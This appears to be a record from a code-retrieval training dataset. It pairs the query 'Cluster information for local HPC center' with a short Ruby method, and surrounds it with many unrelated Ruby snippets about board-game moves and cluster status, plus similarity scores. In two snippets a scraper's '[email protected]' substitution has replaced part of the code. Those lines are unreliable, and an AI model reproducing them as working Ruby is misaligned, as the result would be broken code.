"def possibleMovements\n deltas = []\n DIRECTIONS.each do |delta|\n deltas.push(delta) if canMoveBy? delta\n end\n deltas\n end",
"def moves\n moves_arr = []\n move_dirs.each do |dir|\n dx, dy = dir\n moves_arr += grow_unblocked_moves_in_dir(dx, dy)\n end\n moves_arr\n end",
"def children\n possible_moves = []\n empty = []\n (0..2).each do |row|\n (0..2).each do |col|\n empty << [row,col] if @board.empty?([row,col])\n end\n end\n empty.each do |pos|\n dup_board = board.dup\n dup_board[pos] = @next_mover_mark\n possible_moves << TicTacToeNode.new(dup_board, next_marker, pos)\n end\n possible_moves\n end",
"def get_moves\n [\n { row: @row + 1, col: @col + 2 },\n { row: @row + 1, col: @col - 2 },\n { row: @row + 2, col: @col + 1 },\n { row: @row + 2, col: @col - 1 },\n { row: @row - 1, col: @col + 2 },\n { row: @row - 1, col: @col - 2 },\n { row: @row - 2, col: @col + 1 },\n { row: @row - 2, col: @col - 1 }\n ].select do |move|\n [:blank_space, :enemy_piece].include? describe_location(move[:row], move[:col])\n end\n end",
"def possible_queen_moves(start_arr)\n\t\tchildren = []\n\t\tchildren << possible_rook_moves(start_arr)\n\t\tchildren << possible_bishop_moves(start_arr)\n\t\tchildren = children.flatten(1)\n\tend",
"def moves\n valid_moves = []\n move_dirs.each do |dx,dy| \n valid_moves += grow_unblocked_moves_in_dir(dx,dy)\n end\n valid_moves\n end",
"def moves\n\n #\n all_moves = sigma_deltas().map {|delta| transform(delta)}\n # all_moves.select { |move| board.on_board?(move)}\n end",
"def legal_moves\n out = Set.new\n board = self.unrolled\n mark = next_turn_taker(board)\n \n board.each_with_index do |space, i|\n if space == @@MARKS[:empty]\n new_state = GameState.new(self.board_bits)\n new_state.mark_index i, mark\n out << new_state\n end\n end\n \n return out\n end",
"def build_next_moves current_node\n cur_pos = current_node.value \n\n (0...8).each do |col|\n (0...8).each do |row|\n next_pos = [col, row] \n if valid_move?(cur_pos,next_pos)\n current_node.add_child(PolyTreeNode.new(next_pos))\n @all_positions[next_pos] = true \n end\n end\n end\n end",
"def children\n moves = []\n (0..2).each do |r|\n (0..2).each do |c|\n if board.empty?([r, c])\n dup_board = board.dup\n\n dup_board[[r, c]] = next_mover_mark\n if next_mover_mark == :x\n next_mover_mark = :o\n else\n next_mover_mark = :x\n end\n\n moves << TicTacToeNode.new(dup_board, next_mover_mark, [r, c])\n p moves\n end\n end\n end\n\n return moves\n end",
"def calculate_future_moves(coord)\n possible_transitions = [[2, 1], [2, -1], [1, 2], [-1, 2], \n [-2, 1], [-2, -1], [-1, -2], [1, -2]]\n actual_transitions = []\n possible_transitions.each do |transition|\n new_position = [coord[0]+transition[0], coord[1]+transition[1]]\n if valid_coordinate?(new_position) && [email protected]?(new_position)\n actual_transitions << new_position\n end\n end\n actual_transitions\n end",
"def create_moves\n valid_moves = []\n MOVES.each do |move|\n location = [move[0] + loc[0], move[1] + loc[1]]\n valid_moves << location if location[0].between?(0,7) && location[1].between?(0,7)\n end\n valid_moves\n end",
"def children\n next_moves = []\n (0...3).each do |row|\n (0...3).each do |col|\n pos = [row, col]\n if self.board[pos].nil?\n new_board = self.board.dup\n new_board[pos] = self.next_mover_mark\n next_mark = ((self.next_mover_mark == :x) ? :o : :x)\n\n next_move = TicTacToeNode.new(new_board, next_mark, pos)\n next_moves << next_move\n end\n end\n end\n next_moves\n\n end",
"def children\n pos_positions = all_positions.select { |pos| @board[pos].nil? }\n mark = switch_mark\n moves = []\n\n pos_positions.each do |pos|\n new_board = @board.dup\n new_board[pos] = @next_mover_mark\n moves << TicTacToeNode.new(new_board, mark, pos)\n end\n\n moves\n end",
"def possible_moves\n possibles = []\n @state.each_with_index do |column, i|\n possibles << i if column[5] == :e\n end\n possibles\n end",
"def generate_slide_moves(current_pos, board, owner)\n return if out_of_bounds?(current_pos)\n\n next_piece = board.locate_piece(current_pos)\n return if next_piece&.owner == owner\n\n return [current_pos] if next_piece\n\n next_pos = [current_pos[0] + @move[0], current_pos[1] + @move[1]]\n next_moves = generate_slide_moves(next_pos, board, owner)\n return [current_pos] unless next_moves\n\n next_moves.reduce([current_pos]) { |current_moves, deep_moves| current_moves.push(deep_moves) }\n end",
"def children\n # debugger\n dup_board = @board.dup\n possible_moves = []\n \n\n # debugger\n (0...dup_board.rows.length).each do |row|\n (0...dup_board.rows.length).each do |col|\n position = [row, col]\n # debugger\n if dup_board.empty?(position)\n # debugger\n dup_board[position] = next_mover_mark\n\n if next_mover_mark == :o\n next_mover_mark = :x\n else\n next_mover_mark = :o\n end\n\n possible_moves << TicTacToeNode.new(dup_board,next_mover_mark,position)\n\n end\n end\n end\n possible_moves\n end",
"def children\n # debugger\n possible_moves = []\n\n (0...3).each do |row|\n (0...3).each do |col|\n pos = [row, col]\n new_board = @board.dup\n\n if new_board.empty?(pos)\n\n if @next_mover_mark == :o\n @next_mover_mark = :x\n else\n @next_mover_mark = :o\n end\n\n new_board.[]=(pos, @next_mover_mark)\n\n possible_moves << TicTacToeNode.new(new_board, @next_mover_mark, pos)\n @prev_move_pos = pos\n end\n end\n end\n possible_moves\n end",
"def moves\n # warn \"Explorer: #{explorer.last}\"\n # warn @robots.map(&:last)\n # warn @items.map(&:last)\n\n clear_tasks\n assign_tasks\n\n @my_bots.map(&:next_command)\n end",
"def valid_moves\n valid = []\n all_moves = self.moves\n\n all_moves.each do |end_pos|\n valid << end_pos unless move_into_check(end_pos)\n end\n \n valid\n end",
"def find_possible_moves(board)\n possible_moves = []\n move_mechanics.each do |move|\n rank = @location[0] + move[0]\n file = @location[1] + move[1]\n next unless valid_location?(rank, file)\n\n possible_moves << [rank, file] unless board.data[rank][file]\n end\n possible_moves\n end",
"def children\n next_moves = []\n mark = flip_mark(next_mover_mark)\n\n (0..2).each do |i|\n (0..2).each do |j|\n if board.empty?([i, j])\n next_moves << TicTacToeNode.new(board, mark, [i, j])\n end\n end\n end\n\n next_moves\n end",
"def possible_moves(side)\n possible_moves = []\n # initialize an 8x8 array of coordinates 1-8\n coords = Array.new(8) { [*1..8] }\n coords.each_with_index do |i, j|\n i.each do |t|\n # t is the x, i[j] is the y\n side.each do |test_piece|\n # Run move validation tests on every piece\n next unless test_piece.move_tests(to_x: t, to_y: i[j])\n # if a move passes validations, push the pieces ID and the\n # coordinates of a successful move to the possible_moves array\n possible_moves << [test_piece.id, t, i[j]]\n end\n end\n end\n possible_moves\n end",
"def moves(*move_dirs)\n possible_moves = []\n\n end",
"def next_game_trees\n return @next_game_trees unless @next_game_trees.nil?\n\n moves = @board.available_moves\n\n @next_game_trees = moves.each_with_object([]) { |move, game_trees| add_game_trees(game_trees, move) }\n\n @next_game_trees\n end",
"def moves\n\n HORIZONTAL_DIRS.each do |direction|\n x,y = direction\n grow_unblocked_moves_in_dir(x,y)\n end\n\n #call grow_unblocked_ele \n# RIGHT HERE!!!\n \n #1 call move_dirs -< put this in each class\n #will return array of all possible moves from unblocked into moves array\n\n\n #2 Then #moves is used collects the all possible moves\n\n\n # create array to collect moves\n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n end",
"def possible_moves\r\n return [] if won?\r\n (0..8).select {|i| board.cells[i] == \" \"}\r\n end",
"def get_moves(start)\n x = start.x\n y = start.y\n moves = []\n moves << Node.new(x+2, y+1)\n moves << Node.new(x+2, y-1)\n moves << Node.new(x+1, y+2)\n moves << Node.new(x+1, y-2)\n moves << Node.new(x-1, y+2)\n moves << Node.new(x-1, y-2)\n moves << Node.new(x-2, y+1)\n moves << Node.new(x-2, y-1)\n moves = moves.reject do |node|\n node.x < 0 || node.x > 8\n end\n moves = moves.reject do |node|\n node.y < 0 || node.y > 8\n end\n moves.each { |move| move.next_node = start }\nend",
"def get_valid_moves\n # delta = color == :white ? 1 : -1\n pos = [position[0] + direction, position[1]]\n validated_moves = capture_spaces\n validated_moves << pos if valid_move?(pos)\n unless @moved || !validated_moves.include?(pos)\n\n pos = [position[0] + (2*direction), position[1]]\n validated_moves += valid_move?(pos) ? [pos] : []\n end\n\n validated_moves\n end",
"def all_moves(start, directed_moves)\n # Array of valid moves\n all_moves = []\n\n directed_moves.each do |ele|\n ele[0] = ele[0] + start[0]\n ele[1] = ele[1] + start[1]\n all_moves << ele\n end\n all_moves\n end",
"def capture_moves\n direction = get_direction\n moves = []\n x, y = @pos\n x += direction\n y += 1\n if @board[ [x, y] ] && @board[ [x,y] ].color == opponent_color\n moves << [x, y]\n end \n y -= 2\n if @board[ [x, y] ] && @board[ [x,y] ].color == opponent_color\n moves << [x, y]\n end\n moves\n end",
"def forking_moves(board, key)\n forking_moves =[]\n\n (0..2).each do |y|\n (0..2).each do |x|\n if board[y][x] == :_\n mutated_board = Marshal.load(Marshal.dump(board))\n mutated_board[y][x] = key\n mutated_winning_moves = winning_moves(mutated_board, key).uniq\n if mutated_winning_moves.count > 1\n forking_moves << mutated_winning_moves\n end\n end\n end\n end\n\n forking_moves.flatten\n \n end",
"def moves\r\n # pos = [0,0]\r\n # row, col = pos\r\n all_h = []\r\n all_d = []\r\n HORIZONTAL_DIRS.each do |h_pos|\r\n h_row, h_col = h_pos\r\n all_h += grow_unblocked_moves_in_dir(h_row, h_col) #returns all moves in h_pos\r\n end\r\n DIAGONAL_DIRS.each do |d_pos|\r\n h_row, h_col = d_pos\r\n all_d += grow_unblocked_moves_in_dir(h_row, h_col) #returns all moves in d_pos\r\n end\r\n if self.class == Queen\r\n return all_h + all_d\r\n elsif self.class == Bishop\r\n return all_d\r\n elsif self.class == Rook\r\n return all_h\r\n end\r\n end",
"def moves\n\t\tm = []\n\t\t@@moves.each do |move|\n\t\t\tfrom, to = move\n\n\t\t\tp1 = @value & MASKS[from]\n\t\t\tp2 = @value & MASKS[to]\n\n\t\t\tshift = (to - from) * 3\n\t\t\tp1 = p1 >> shift\n\t\t\tp2 = p2 << shift\n\n\t\t\tnum = (@value & INV_MASKS[from]) | p2\n\t\t\tnum = (num & INV_MASKS[to]) | p1\n\n\t\t\tm << State.new(num, @n_moves + 1)\n\t\tend\n\t\tm\n\tend",
"def find_possible_moves diffs\n [].tap do |possible_moves|\n diffs.each do |row|\n possible_moves << [self.pos[0] + row[1], self.pos[1] + row[0]]\n end\n end \n end",
"def legal_moves\n # Fill this in\n end",
"def new_move_positions(node)\n new_moves = KnightPathFinder.valid_moves(node.value).reject {|move| @visited_positions.include? move}\n new_moves.each {|move| @visited_positions << move}\n new_moves\n end",
"def makeMoves # fix this\n\t\[email protected]_index do |player,i|\n\t\t\t(0..player.numHands-1).each do |handIndex|\n\t\t\t\tmakeMove(player, handIndex, i)\n\t\t\tend\n\t\tend\n\tend",
"def children\n poss_moves = []\n next_move = (next_mover_mark == :x ? :o : :x)\n\n board.rows.each_with_index do |row, idx1|\n row.each_with_index do |pos, idx2|\n next unless pos.nil?\n _new_board = board.dup\n _new_board[[idx1, idx2]] = self.next_mover_mark\n board_node = TicTacToeNode.new(_new_board, next_move, [idx1, idx2]) \n poss_moves << board_node\n end\n end\n \n poss_moves\n end",
"def possible_moves(y_pos, x_pos, moves_list=[[y_pos,x_pos]])\n\t\t\n\t\treturn moves_list if moves_list.length > 64\n\n\t\tmove_square = y_pos+2, x_pos+1\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1]) \n\n\t\tmove_square = y_pos+2, x_pos-1\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos-2, x_pos+1\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos-2, x_pos-1\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos+1, x_pos+2\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos+1, x_pos-2\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos-1, x_pos+2\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos-1, x_pos-2\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmoves_list.each { |move| possible_moves(move[0], move[1], moves_list) }\n\t\treturn moves_list\n\tend",
"def children\n\n # if winning_node(next_mover_mark)\n # end\n possible_moves = [self]\n #queue generation\n until possible_moves.empty?\n node = possible_moves.shift\n children_nodes = []\n self.board.rows.each_with_index do |row, i|\n row.each_with_index do |space, j|\n pos = [i,j]\n if self.board.empty?(pos)\n #self.board[pos] = @next_mover_mark\n children_nodes << TicTacToeNode.new(@board, next_mark, pos)\n end\n end\n end\n @children = children_nodes\n possible_moves += children_nodes\n end\n\n # until possible_moves.empty?\n # possible_moves.shift.children\n # end\n self\n end",
"def get_possible_moves_for(position)\n possible = []\n x = position.square[0]\n y = position.square[1]\n moves = [\n Placement.new([x-1,y-2], position), \n Placement.new([x-1,y+2], position), \n Placement.new([x-2,y-1], position), \n Placement.new([x-2,y+1], position), \n Placement.new([x+1,y+2], position), \n Placement.new([x+1,y-2], position), \n Placement.new([x+2,y-1], position), \n Placement.new([x+2,y+1], position)\n ]\n moves.each do |move|\n possible << move unless Chess.not_on_board?(move)\n end\n possible\n end",
"def build_move_tree\n arr = [root_node]\n nodes = []\n\n until arr.empty?\n this_pos = arr.shift\n arr += new_move_positions(this_pos)\n nodes << PolyTreeNode.new(this_pos)\n end\n\n nodes\n end",
"def possible_king_moves(start_arr)\n\t\tx = start_arr[0]\n\t\ty = start_arr[1]\n\t\tcandidates = []\n\t\tcandidates << [x+1,y]\n\t\tcandidates << [x-1,y]\t\t\n\t\tcandidates << [x,y+1]\t\t\t\t\n\t\tcandidates << [x,y-1]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\tcandidates << [x+1,y+1]\n\t\tcandidates << [x-1,y-1]\t\n\t\tcandidates << [x-1,y+1]\t\t\t\t\n\t\tcandidates << [x+1,y-1]\t\t\t\t\n\t\tchildren = candidates.select { |pos| pos[0] >= 0 && pos[1] >= 0 && pos[0] <= 7 && pos[1] <= 7}\n\t\tchildren.delete_if do |child|\n\t\t\tif !(@board[child] == \"*\")\n\t\t\t\t# If pieces not same color\n\t\t\t\tif @board[child].color == @board[start_arr].color\n\t\t\t\t\tif occupied(child)\n\t\t\t\t\t\tcan_do = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tchildren\n\tend",
"def next_jumps\n\t\tvalid_jumps = []\n\t\tmove_diffs.each do |diff|\n\t\t\tvalid_jumps << [position.first + (diff.first * 2), position.last + (diff.last * 2)]\n\t\tend\n\n\t\tvalid_jumps.select! do |move|\n\t\t\ton_board?(move) && enemy_between?(move) && board[move].nil?\n\t\tend\n\tend",
"def children\n # temp_dup[[i, j]] = @next_mover_mark # mark the board\n if @next_mover_mark == :x\n @next_mover_mark = :o\n bob = :x\n else\n @next_mover_mark = :x\n bob = :o\n end\n temp_dup = self.board.dup\n next_moves = []\n temp_dup.rows.each_with_index do |row, i|\n row.each_with_index do |col, j|\n # debugger\n if temp_dup.empty?([i, j])\n # next moes << tttn.new([board with mark placed on i,j], themark, prev_movepos)\n # next_moves << [i, j] \n \n temp_dup[[i, j]] = @next_mover_mark # mark the board\n \n \n next_moves << TicTacToeNode.new(temp_dup, @next_mover_mark, [i,j] )\n \n #temp_dup[[i, j]] = @next_mover_mark # mark the board\n \n end\n nil\n end\n end\n next_moves\n #returns nodes from all game states ???\n end",
"def possible_moves(x, y, dx, dy)\n return [[x - 1, y], [x, y + 1], [x, y - 1]] if dx > 0\n return [[x + 1, y], [x, y + 1], [x, y - 1]] if dx < 0\n return [[x + 1, y], [x, y + 1], [x - 1, y]] if dy > 0\n [[x + 1, y], [x, y - 1], [x - 1, y]]\n end",
"def moves\n to_return = []\n board_iterate do |i|\n if(i.is_a? Numeric)\n to_return.push(i)\n end\n end\n to_return.empty? ? nil : to_return\n end",
"def get_move\n #puts \"get_move for #{self}\"\n return [] if goal == nil or goal == []\n while(1)\n rv = []\n g = goal.shift\n return [] if g == nil\n puts g.join('---')\n case g[0]\n when KILL\n e = g[1] # get the ennemy\n if(not $map.exists?(e) or e.life<=0)\n puts 'this ant does not exists anymore or is dead, next goal'\n next \n end\n \n dist = distance(self,e)\n #puts \"I am #{self}\"\n #puts \"goal: kill this enneny: #{e}\"\n i = 0\n if dist > 1 # move\n # by doing this we are finding subgoals\n # TODO: add_sub_goal ?\n\n path = find_best_way(e.x,e.y)# we have to move next to it\n #puts ppath(path)\n if path==nil\n # TODO: no path, find something else to do\n puts 'no path ! , next goal'\n next\n end\n \n # we have a path to it\n # so now we have to move smartly\n # if we are at 3 cases, we can move and attack\n # more than that we have to move at 4 cases and wait the next turn\n # TODO: do not wait at a position where we can be attacked\n if(path.size-2 <= 3) # minus two because the path include our case\n i = path.size-2 # 0 based minus one, so -2 \n #puts 's1'\n elsif(path.size-2 >= 6) # we are far away\n i = 6\n #puts 's2'\n else\n i = (path.size-2)\n #puts 's3'\n end\n #puts i\n #sleep(1)\n if i <= 0\n puts \"i <= 0 (#{i}), #{ppath(path)}\"\n sleep(5)\n else\n a,b = path[i][0]\n #puts \"I am moving to (#{[a,b].join(',')})\"\n self.x,self.y = a,b\n rv << \"Cb#{object_id}~\"+[a,b].pack('cc')\n #puts x\n end\n end\n return rv if i > 3 # return if we can not attack at the same round\n #puts i\n dist = distance(self,e)\n if dist == 1\n puts 'Attack'\n rv << \"Cc#{object_id}~#{e.object_id}\"\n e.life -= 5\n end\n return rv\n else\n puts 'unknown goal, next goal'\n end # case\n end #while\n puts \"no goal ? find something else to do !\"\n rv\n end",
"def children\n new_arr = []\n i == 0\n j == 0\n while i < board.length\n j = 0 \n while j < board.length\n if !board[i][j].empty?\n dupe = board.dup\n dupe[i, j] = self.next_mover_mark\n self.prev_move_pos = [i, j]\n if self.next_mover_mark == :x \n self.next_mover_mark = :o\n else\n self.next_mover_mark = :x\n end \n new_arr << TicTacToeNode.new(dupe, next_mover_mark, prev_move_pos)\n end \n j += 1\n end \n i += 1\n end \n new_arr\n end",
"def possible_moves(spaces)\n possible_moves = []\n if ((@position + 1) % 8 == 0)\n @moves = [8,7,-1,-9,-8]\n elsif (@position % 8 == 0)\n @moves = [-8,-7,1,9,8]\n end\n @moves.each do |move|\n possible_moves << (@position + move)\n end\n possible_moves.select! { |move| (0..63).include?(move) }\n possible_moves.select! do |move| \n spaces[move].class == Fixnum or spaces[move].side_id != @side_id ? true : false\n end\n possible_moves\n end",
"def new_move_positions(pos)\n candidates = KnightPathFinder.valid_moves(pos)\n candidates = candidates.select { |e| !@considered_positions.include?(e) }\n @considered_positions.concat(candidates)\n return candidates\n #@considered_positions = (@considered_positions.concat(candidates)).uniq\n end"
] | [
"0.7454911",
"0.7448829",
"0.7407405",
"0.73753744",
"0.7238307",
"0.7236044",
"0.7215574",
"0.72127986",
"0.7204278",
"0.7180208",
"0.7141102",
"0.7116441",
"0.708988",
"0.70805866",
"0.7072528",
"0.706047",
"0.7034363",
"0.7026709",
"0.6984989",
"0.6974822",
"0.69528663",
"0.69366086",
"0.6934326",
"0.69156605",
"0.68871456",
"0.6839676",
"0.68369883",
"0.68028563",
"0.6733526",
"0.6715732",
"0.6706208",
"0.670601",
"0.6687858",
"0.6682012",
"0.666548",
"0.666516",
"0.6646825",
"0.66462564",
"0.66031605",
"0.66019166",
"0.65987086",
"0.6577254",
"0.6571609",
"0.6566699",
"0.65546525",
"0.6553612",
"0.6548574",
"0.6545349",
"0.65193886",
"0.6505279",
"0.6473551",
"0.64697117",
"0.6469096",
"0.64675957",
"0.64673173",
"0.6466317",
"0.6450506",
"0.6442631",
"0.6438605",
"0.6437397",
"0.6424169",
"0.6418488",
"0.6385509",
"0.6371891",
"0.63628113",
"0.63523084",
"0.6328956",
"0.63171357",
"0.63170975",
"0.63159466",
"0.63132876",
"0.63088727",
"0.63036245",
"0.6281136",
"0.6271092",
"0.62636673",
"0.6262993",
"0.62561965",
"0.6253014",
"0.6243062",
"0.62371135",
"0.62266177",
"0.6226445",
"0.62221694",
"0.6215834",
"0.6215316",
"0.6196694",
"0.61888206",
"0.61831766",
"0.6162141",
"0.6150607",
"0.61501735",
"0.614796",
"0.6121651",
"0.6117975",
"0.61122364",
"0.6109991",
"0.6091015",
"0.6087523",
"0.6079222",
"0.6074811"
] | 0.0 | -1 |
Cluster information for local HPC center | def clusters
@clusters ||= parse_clusters(ENV['OOD_CLUSTERS'])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __cluster_info\n health = JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_cluster/health\")))\n nodes = if version == '0.90'\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/?process&http\")))\n else\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/process,http\")))\n end\n master = JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_cluster/state\")))['master_node']\n\n result = [\"\\n\",\n ('-'*80).ansi(:faint),\n 'Cluster: '.ljust(20).ansi(:faint) + health['cluster_name'].to_s.ansi(:faint),\n 'Status: '.ljust(20).ansi(:faint) + health['status'].to_s.ansi(:faint),\n 'Nodes: '.ljust(20).ansi(:faint) + health['number_of_nodes'].to_s.ansi(:faint)].join(\"\\n\")\n\n nodes['nodes'].each do |id, info|\n m = id == master ? '*' : '-'\n result << \"\\n\" +\n ''.ljust(20) +\n \"#{m} \".ansi(:faint) +\n \"#{info['name'].ansi(:bold)} \".ansi(:faint) +\n \"| version: #{info['version'] rescue 'N/A'}, \".ansi(:faint) +\n \"pid: #{info['process']['id'] rescue 'N/A'}, \".ansi(:faint) +\n \"address: #{info['http']['bound_address'] rescue 'N/A'}\".ansi(:faint)\n end\n\n result\n end",
"def node_cluster_id() ; info[:node_cluster] ; end",
"def cluster() node[:cluster_name] ; end",
"def __print_cluster_info(port)\n health = JSON.parse(Net::HTTP.get(URI(\"http://localhost:#{port}/_cluster/health\")))\n nodes = JSON.parse(Net::HTTP.get(URI(\"http://localhost:#{port}/_nodes/process,http\")))\n master = JSON.parse(Net::HTTP.get(URI(\"http://localhost:#{port}/_cluster/state\")))['master_node']\n\n puts \"\\n\",\n ('-'*80).ansi(:faint),\n 'Cluster: '.ljust(20).ansi(:faint) + health['cluster_name'].to_s.ansi(:faint),\n 'Status: '.ljust(20).ansi(:faint) + health['status'].to_s.ansi(:faint),\n 'Nodes: '.ljust(20).ansi(:faint) + health['number_of_nodes'].to_s.ansi(:faint)\n\n nodes['nodes'].each do |id, info|\n m = id == master ? '+' : '-'\n puts ''.ljust(20) +\n \"#{m} #{info['name'].ansi(:bold)} | version: #{info['version']}, pid: #{info['process']['id']}, address: #{info['http']['bound_address']}\".ansi(:faint)\n end\n end",
"def cluster()\n @cluster ||= $ip2cluster[@ip]\n @cluster\n end",
"def getClusterInfo\n require 'rest_client'\n require 'uri'\n\n if @role.nil? and !current_actor.superadmin\n json_response({ message: \"You don't have permission to view the clusters in this project\" }, :unauthorized)\n return\n end\n\n # Env variables for Manager host and port\n serviceManagerHost = Settings.service_manager_host\n serviceManagerPort = Settings.service_manager_port.to_s\n serviceManagerURI = 'http://' + serviceManagerHost + ':' + serviceManagerPort + '/v1/swarm'\n\n # Create request for Service Manager\n stack = {\n 'engine-url' => @cluster.endpoint,\n 'ca-cert' => @cluster.ca,\n 'cert' => @cluster.cert,\n 'cert-key' => @cluster.key\n }.to_json\n\n begin\n response = RestClient.post(\n serviceManagerURI,\n stack,\n 'Accept' => 'application/json',\n 'Content-Type' => 'application/json'\n )\n puts \"Deploy Response: \" + response\n json_response(response, 200)\n rescue Exception => e\n # If error, respond with it\n puts e\n json_response({message: e}, :unprocessable_entity)\n end\n end",
"def info\n puts 'All clusters registered to ActiveRecord::ShardFor'\n puts\n clusters.each do |cluster|\n puts \"= Cluster: #{cluster.name} =\"\n cluster.connections.each do |name|\n puts \"- #{name}\"\n end\n puts\n end\n end",
"def getClusterFacts(host)\n\n #debugger\n Puppet.debug(\"Hostname = #{host}\")\n\n # Check if connected to a vserver\n vserver = @transport.get_vserver()\n Puppet.debug(\"Current vserver = #{vserver}\")\n\n if vserver.empty?\n Puppet.debug(\"Not connected to a vserver, so gather system facts\")\n\n #Pull out cluster info\n result = @transport.invoke(\"cluster-identity-get\")\n cluster_info = result.child_get(\"attributes\")\n identity_info = cluster_info.child_get(\"cluster-identity-info\")\n cluster_name = identity_info.child_get_string(\"cluster-name\")\n if host.downcase == identity_info.child_get_string(\"cluster-name\")\n system_host = identity_info.child_get_string(\"cluster-name\")\n end\n @facts[\"hostname\"] = system_host\n\n Puppet.debug(\"System info = #{@facts.inspect}\")\n\n # Pull out node system-info\n result = @transport.invoke(\"system-get-node-info-iter\")\n Puppet.debug(\"Result = #{result.inspect}\")\n\n # Pull out attributes-list and itterate\n systems = result.child_get(\"attributes-list\")\n system_host = systems.children_get().find do |system|\n # Check the system name matches the host we're looking for\n Puppet.debug(\"System-name = #{system.child_get_string('system-name')}. downcase = #{system.child_get_string(\"system-name\").downcase}\")\n Puppet.debug(\"Match = #{host.downcase == system.child_get_string(\"system-name\").downcase}\")\n host.downcase == system.child_get_string(\"system-name\").downcase\n end\n\n Puppet.debug(\"Cluster_Name = #{cluster_name}\")\n Puppet.debug(\"Host Name = #{host}\")\n if system_host\n # Pull out the required variables\n [\n 'system-name',\n 'system-id',\n 'system-model',\n 'system-machine-type',\n 'system-serial-number',\n 'partner-system-id',\n 'partner-serial-number',\n 'system-revision',\n 'number-of-processors',\n 'memory-size',\n 'cpu-processor-type',\n 'vendor-id',\n ].each do |key|\n @facts[key] = system_host.child_get_string(\"#{key}\".to_s)\n end\n\n # Facts dump\n Puppet.debug(\"System info = #{@facts.inspect}\")\n elsif cluster_name.downcase != host.downcase\n raise ArgumentError, \"No matching system found with the system name #{host}\"\n end\n\n # Get DNS domainname for fqdn\n #result = @transport.invoke(\"options-get-iter\")\n end\n\n @facts\n end",
"def cluster_info\n @os_aws.to_os_hash\n end",
"def info()\n super(VIRTUAL_CLUSTER_METHODS[:info], 'VCLUSTER')\n end",
"def listCluster()\n @crosssiteadmin.listClusters()\n end",
"def cluster_for_host(host)\n cluster_id = host['CLUSTER_ID'].to_i\n\n # host without cluster\n return nil if cluster_id == -1\n\n cluster = OpenNebula::Cluster.new(OpenNebula::Cluster.build_xml(cluster_id), @client)\n rc = cluster.info\n check_retval(rc, Errors::ResourceRetrievalError)\n\n cluster\n end",
"def hpc_cluster?\n @hpc_cluster\n end",
"def info(decrypt = false)\n super(CLUSTER_METHODS[:info], 'CLUSTER', decrypt)\n end",
"def overview\n data = { :clusters => [], :config => config }\n\n stats.each do |cluster_name, cluster_data|\n # Setting global server attributes ( like hostname, version etc...)\n unless cluster_data.is_a? Hash\n data[cluster_name] = cluster_data\n next\n end\n\n #next unless redis? cluster_name # skip memcached clusters\n\n aliases = node_aliases cluster_name\n cluster = { nodes: [], name: cluster_name }\n cluster_data.each do |node, node_value|\n # Adding node\n if node_value.kind_of? Hash\n node_data = cluster_data[node]\n node = aliases[node] || node\n url = ( node =~ /redis\\:\\/\\// ) ? node : \"redis://#{node}\"\n info = redis_info(url, config[cluster_name][\"redis_auth\"])\n cluster[:nodes] << {\n server_url: url, info: info, running: info.any?\n }.merge(node_data)\n else # Cluster attribute\n cluster[node] = node_value\n end\n end\n data[:clusters].push cluster\n end\n data\n end",
"def nodes\n @cluster.nodes\n end",
"def detect_cluster\n initialize_metadata\n result = {\n region: @region,\n instance_id: @instance_id,\n cluster_name: nil,\n cluster_role: nil\n }\n\n find_instance_tags.each do |tag|\n if tag[:key] === CLUSTER_TAG_NAME\n result[:cluster_name] = tag[:value]\n elsif tag[:key] === ROLE_TAG_NAME\n result[:cluster_role] = tag[:value].to_sym\n end\n end\n\n if result[:cluster_name].nil? || result[:cluster_role].nil?\n result[:cluster_name] = nil\n result[:cluster_role] = nil\n end\n\n result\n end",
"def get_cluster_ips\n node_ips get_nodes\nend",
"def inspect_cluster size_of_cluster\n @cluster.each do |c|\n if c.length == size_of_cluster\n c.each do |s|\n puts \"#{s.to_s}: #{@feature[s].to_s}\"\n end\n end\n end\n end",
"def check_cluster\n hostname = \"botha1.cs.ualberta.ca\"\n username = \"prion\"\n keys = ['/apps/phaster/.ssh/botha', '~/.ssh/id_rsa'] # private keys to test (not all the files need to exist)\n\n # Can we connect?\n begin\n ssh = Net::SSH.start(hostname, username, :keys => keys, :auth_methods => ['publickey']) # Only try public key authentication.\n rescue\n #puts \"Unable to connect to #{hostname} using #{username}\"\n return('Unable to connect to the computing cluster! Please contact PHASTER support so the issue can be addressed.')\n end\n\n # Can qsub command be found?\n res = ssh.exec!('which qsub')\n if res =~ /no qsub in/\n return('A problem was detected on the computing cluster! Please contact PHASTER support so the issue can be addressed.')\n end\n\n # Are there any cluster child nodes that are alive?\n res = ssh.exec!('alive')\n c = 0\n res.split(\"\\n\").each { |line|\n c += 1\n }\n #puts \"#{c} child nodes available\"\n if c == 0\n return('A problem was detected on the computing cluster! Please contact PHASTER support so the issue can be addressed.')\n end\n\n ssh.close\n return('')\n end",
"def node_cluster\n @node_cluster ||= client.node_clusters.get_from_uri(info[:node_cluster]) unless info[:node_cluster].nil?\n end",
"def cluster_nodes\n cluster_nodes_list = []\n @nodes_graph.each do |node_name, node_info|\n cluster_nodes_list << node_name if node_info[:type] == :cluster\n end\n cluster_nodes_list\n end",
